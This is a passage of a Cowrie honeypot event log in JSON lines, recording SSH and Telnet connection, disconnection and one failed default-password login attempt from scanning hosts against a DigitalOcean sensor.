01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:50.014164Z","src_ip":"80.94.92.182","session":"041c0c2a8d4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38842,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd1f223b5b8b","protocol":"telnet","message":"New connection: 209.159.146.115:38842 (159.203.135.109:23) [session: fd1f223b5b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:50.146187Z"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:50.794815Z","src_ip":"80.94.92.182","session":"041c0c2a8d4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:50.815076Z","src_ip":"159.203.92.129","session":"74806999e597","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.6392126083374,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:51.055184Z","src_ip":"209.159.146.115","session":"85d8b4efe22e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:52.244957Z","src_ip":"80.94.92.182","session":"041c0c2a8d4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.06104850769043,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:52.785119Z","src_ip":"209.159.146.115","session":"6eefa2fcee1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59718,"dst_ip":"159.203.135.109","dst_port":23,"session":"e637bbe8b241","protocol":"telnet","message":"New connection: 209.159.146.115:59718 (159.203.135.109:23) [session: e637bbe8b241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:53.288678Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60450,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e327496f90d","protocol":"telnet","message":"New connection: 209.159.146.115:60450 (159.203.135.109:23) [session: 2e327496f90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:53.456558Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":40916,"dst_ip":"159.203.135.109","dst_port":23,"session":"6571be0731c4","protocol":"telnet","message":"New connection: 57.128.88.161:40916 (159.203.135.109:23) [session: 6571be0731c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:55.427824Z"}
{"eventid":"cowrie.session.closed","duration":41.854013204574585,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:55.749019Z","src_ip":"209.159.146.115","session":"34f3cb85e9e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39732,"dst_ip":"159.203.135.109","dst_port":23,"session":"71190b8e6af6","protocol":"telnet","message":"New connection: 209.159.146.115:39732 (159.203.135.109:23) [session: 71190b8e6af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:55.835031Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":41686,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaac897eecbd","protocol":"telnet","message":"New connection: 185.26.126.47:41686 (159.203.135.109:23) [session: aaac897eecbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:55.999158Z"}
{"eventid":"cowrie.session.closed","duration":35.95603632926941,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:56.257643Z","src_ip":"209.159.146.115","session":"00009343a457","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36160,"dst_ip":"159.203.135.109","dst_port":23,"session":"8740b50dead7","protocol":"telnet","message":"New connection: 209.159.146.115:36160 (159.203.135.109:23) [session: 8740b50dead7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:56.610495Z"}
{"eventid":"cowrie.session.closed","duration":30.55808424949646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:57.024244Z","src_ip":"209.159.146.115","session":"41c068f5f29e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43460,"dst_ip":"159.203.135.109","dst_port":23,"session":"32b43d893cf6","protocol":"telnet","message":"New connection: 209.159.146.115:43460 (159.203.135.109:23) [session: 32b43d893cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:57.030348Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43752,"dst_ip":"159.203.135.109","dst_port":23,"session":"93121b0b2b3d","protocol":"telnet","message":"New connection: 209.159.146.115:43752 (159.203.135.109:23) [session: 93121b0b2b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:57.121173Z"}
{"eventid":"cowrie.session.closed","duration":36.5683810710907,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:57.236499Z","src_ip":"209.159.146.115","session":"d185aa46c00a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.96652626991272,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:57.241283Z","src_ip":"209.159.146.115","session":"9fc5e11b6c69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.85960388183594,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:57.532635Z","src_ip":"209.159.146.115","session":"c1271325d519","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.90893578529358,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:57.832896Z","src_ip":"209.159.146.115","session":"9a35468c2139","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.96658396720886,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:58.343414Z","src_ip":"209.159.146.115","session":"b52ebfa830f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36428,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf1fe2892d75","protocol":"telnet","message":"New connection: 209.159.146.115:36428 (159.203.135.109:23) [session: bf1fe2892d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:01.164292Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":40930,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbf9b1a1394e","protocol":"telnet","message":"New connection: 57.128.88.161:40930 (159.203.135.109:23) [session: fbf9b1a1394e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:01.303127Z"}
{"eventid":"cowrie.session.closed","duration":33.69528126716614,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:01.394849Z","src_ip":"209.159.146.115","session":"3f0b4493fe72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52964186668396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:01.573916Z","src_ip":"209.159.146.115","session":"3bb5ee51f399","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.88069987297058,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:02.101157Z","src_ip":"209.159.146.115","session":"88203aeab51f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.144277334213257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:02.188754Z","src_ip":"57.128.88.161","session":"0b46d89eaf91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.99840784072876,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:02.997428Z","src_ip":"185.26.126.47","session":"aaac897eecbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":44428,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c4b5ae44624","protocol":"telnet","message":"New connection: 185.26.126.47:44428 (159.203.135.109:23) [session: 5c4b5ae44624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:03.479646Z"}
{"eventid":"cowrie.session.closed","duration":34.56030201911926,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:03.733159Z","src_ip":"209.159.146.115","session":"ca039bd971bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33012,"dst_ip":"159.203.135.109","dst_port":23,"session":"4497f3f88a31","protocol":"telnet","message":"New connection: 209.159.146.115:33012 (159.203.135.109:23) [session: 4497f3f88a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:04.730817Z"}
{"eventid":"cowrie.session.closed","duration":32.573472023010254,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:05.057505Z","src_ip":"209.159.146.115","session":"2289f85d1a6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.03008437156677,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:05.274143Z","src_ip":"209.159.146.115","session":"080e60a98c6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36518,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e1e2e06f724","protocol":"telnet","message":"New connection: 209.159.146.115:36518 (159.203.135.109:23) [session: 3e1e2e06f724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:05.738111Z"}
{"eventid":"cowrie.session.closed","duration":32.765345096588135,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:06.096851Z","src_ip":"209.159.146.115","session":"9ddbd1b3bf57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.68470501899719,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:06.348663Z","src_ip":"209.159.146.115","session":"9d8fdcd4a511","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":39310,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1a072b3737a","protocol":"telnet","message":"New connection: 57.128.88.161:39310 (159.203.135.109:23) [session: b1a072b3737a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:07.201121Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50348,"dst_ip":"159.203.135.109","dst_port":23,"session":"c26adb396a94","protocol":"telnet","message":"New connection: 209.159.146.115:50348 (159.203.135.109:23) [session: c26adb396a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:08.469146Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":39326,"dst_ip":"159.203.135.109","dst_port":23,"session":"c13bb956ae99","protocol":"telnet","message":"New connection: 57.128.88.161:39326 (159.203.135.109:23) [session: c13bb956ae99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:08.927106Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37382,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d8991910e3d","protocol":"telnet","message":"New connection: 209.159.146.115:37382 (159.203.135.109:23) [session: 8d8991910e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:08.948912Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52424,"dst_ip":"159.203.135.109","dst_port":23,"session":"da209cf31b00","protocol":"telnet","message":"New connection: 209.159.146.115:52424 (159.203.135.109:23) [session: da209cf31b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:09.020773Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":39328,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b3962aef26b","protocol":"telnet","message":"New connection: 57.128.88.161:39328 (159.203.135.109:23) [session: 9b3962aef26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:09.297017Z"}
{"eventid":"cowrie.session.closed","duration":30.27371597290039,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:10.210054Z","src_ip":"209.159.146.115","session":"b9daa0bc3860","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.004998207092285,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:10.939923Z","src_ip":"209.159.146.115","session":"50d3d9a17998","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.092047929763794,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:11.127350Z","src_ip":"209.159.146.115","session":"af1f4fe2763f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.16096758842468,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:11.466314Z","src_ip":"209.159.146.115","session":"b8c083d26917","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54366636276245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:12.299493Z","src_ip":"209.159.146.115","session":"422ceb82fe75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36864,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eb1546a695c","protocol":"telnet","message":"New connection: 209.159.146.115:36864 (159.203.135.109:23) [session: 1eb1546a695c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:12.568018Z"}
{"eventid":"cowrie.session.closed","duration":32.88176465034485,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:12.863817Z","src_ip":"209.159.146.115","session":"329e52bcc63d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40710,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4334db3c6af","protocol":"telnet","message":"New connection: 209.159.146.115:40710 (159.203.135.109:23) [session: e4334db3c6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:13.251859Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42060,"dst_ip":"159.203.135.109","dst_port":23,"session":"2395148d3dfc","protocol":"telnet","message":"New connection: 209.159.146.115:42060 (159.203.135.109:23) [session: 2395148d3dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:13.694736Z"}
{"eventid":"cowrie.session.closed","duration":33.70889449119568,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:13.706215Z","src_ip":"209.159.146.115","session":"9ec2e9dc9953","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55044,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8676138123c","protocol":"telnet","message":"New connection: 57.128.88.161:55044 (159.203.135.109:23) [session: b8676138123c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:14.751849Z"}
{"eventid":"cowrie.session.closed","duration":35.5499541759491,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:16.309521Z","src_ip":"209.159.146.115","session":"8f84e056aa09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55048,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fb558702dfe","protocol":"telnet","message":"New connection: 57.128.88.161:55048 (159.203.135.109:23) [session: 9fb558702dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:16.836529Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56162,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1109f04787a","protocol":"telnet","message":"New connection: 209.159.146.115:56162 (159.203.135.109:23) [session: a1109f04787a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:17.775274Z"}
{"eventid":"cowrie.session.closed","duration":0.00653076171875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:17.781686Z","src_ip":"209.159.146.115","session":"a1109f04787a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55060,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f02c3fed26f","protocol":"telnet","message":"New connection: 57.128.88.161:55060 (159.203.135.109:23) [session: 4f02c3fed26f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:17.873234Z"}
{"eventid":"cowrie.session.closed","duration":36.310322523117065,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:18.289039Z","src_ip":"209.159.146.115","session":"a666229588b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55064,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7bc61929ce0","protocol":"telnet","message":"New connection: 57.128.88.161:55064 (159.203.135.109:23) [session: d7bc61929ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:18.411019Z"}
{"eventid":"cowrie.session.closed","duration":30.706439971923828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:18.473353Z","src_ip":"209.159.146.115","session":"b5be0fd39a36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":32920,"dst_ip":"159.203.135.109","dst_port":23,"session":"e34d8880076c","protocol":"telnet","message":"New connection: 209.159.146.115:32920 (159.203.135.109:23) [session: e34d8880076c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:20.146618Z"}
{"eventid":"cowrie.session.closed","duration":36.689727544784546,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:21.599704Z","src_ip":"209.159.146.115","session":"448228fc40f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.41961145401001,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:21.882965Z","src_ip":"209.159.146.115","session":"203ef0846665","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.664878845214844,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:21.888826Z","src_ip":"209.159.146.115","session":"2040f8737438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":39470,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b0a5fa59c3b","protocol":"telnet","message":"New connection: 57.128.88.161:39470 (159.203.135.109:23) [session: 2b0a5fa59c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:22.328057Z"}
{"eventid":"cowrie.session.closed","duration":32.23244833946228,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:22.378562Z","src_ip":"209.159.146.115","session":"fd1f223b5b8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.245426416397095,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:22.382669Z","src_ip":"209.159.146.115","session":"ab6d0d1782ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.088905334472656,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:22.465908Z","src_ip":"209.159.146.115","session":"ccdb53364497","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.47588229179382,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:25.229028Z","src_ip":"209.159.146.115","session":"6a27b6d70d1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":11620,"dst_ip":"10.17.0.5","dst_port":22,"session":"82a28c2d1d9b","protocol":"ssh","message":"New connection: 141.11.21.145:11620 (10.17.0.5:22) [session: 82a28c2d1d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:25.417536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:25.961848Z","src_ip":"141.11.21.145","session":"82a28c2d1d9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:25.967193Z","src_ip":"141.11.21.145","session":"82a28c2d1d9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.6649010181427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:26.092636Z","src_ip":"57.128.88.161","session":"6571be0731c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.09494757652283,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:26.097873Z","src_ip":"209.159.146.115","session":"47f7657c70f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":39472,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b9fc2cda17f","protocol":"telnet","message":"New connection: 57.128.88.161:39472 (159.203.135.109:23) [session: 1b9fc2cda17f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:26.238032Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43142,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf65007d1d95","protocol":"telnet","message":"New connection: 209.159.146.115:43142 (159.203.135.109:23) [session: cf65007d1d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:26.341050Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44982,"dst_ip":"159.203.135.109","dst_port":23,"session":"50653875387f","protocol":"telnet","message":"New connection: 209.159.146.115:44982 (159.203.135.109:23) [session: 50653875387f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:26.803383Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":39478,"dst_ip":"159.203.135.109","dst_port":23,"session":"d91b1bf77d11","protocol":"telnet","message":"New connection: 57.128.88.161:39478 (159.203.135.109:23) [session: d91b1bf77d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:27.366844Z"}
